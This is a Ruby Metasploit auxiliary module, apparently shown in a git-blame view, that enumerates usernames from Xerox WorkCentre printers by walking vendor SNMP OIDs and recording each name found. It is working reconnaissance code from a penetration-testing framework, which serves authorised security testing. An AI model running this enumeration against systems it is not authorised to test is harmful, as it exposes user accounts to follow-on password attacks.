2011-03-23 16:13:37 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-03-23 16:13:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::SNMPClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
2011-03-23 16:13:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will do user enumeration based on the Xerox WorkCentre present on the network.
|
|
|
|
SNMP is used to extract the usernames.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'pello <fropert[at]packetfault.org>'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
2011-03-23 16:13:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
begin
|
|
|
|
snmp = connect_snmp
|
2011-03-23 16:13:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if snmp.get_value('sysDescr.0') =~ /Xerox/
|
|
|
|
@users = []
|
|
|
|
285222001.upto(285222299) { |oidusernames|
|
|
|
|
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
|
|
|
|
row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
|
|
|
|
end
|
|
|
|
}
|
|
|
|
print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
|
2011-11-20 02:12:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
@users.each do |user|
|
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:proto => 'udp',
|
|
|
|
:sname => 'snmp',
|
|
|
|
:update => :unique_data,
|
|
|
|
:type => 'xerox.workcenter.user',
|
|
|
|
:data => user)
|
|
|
|
end
|
|
|
|
end
|
2011-03-23 16:13:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# No need to make noise about timeouts
|
|
|
|
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
|
|
|
ensure
|
|
|
|
disconnect_snmp
|
|
|
|
end
|
|
|
|
end
|
2011-11-20 02:12:07 +00:00
|
|
|
end
|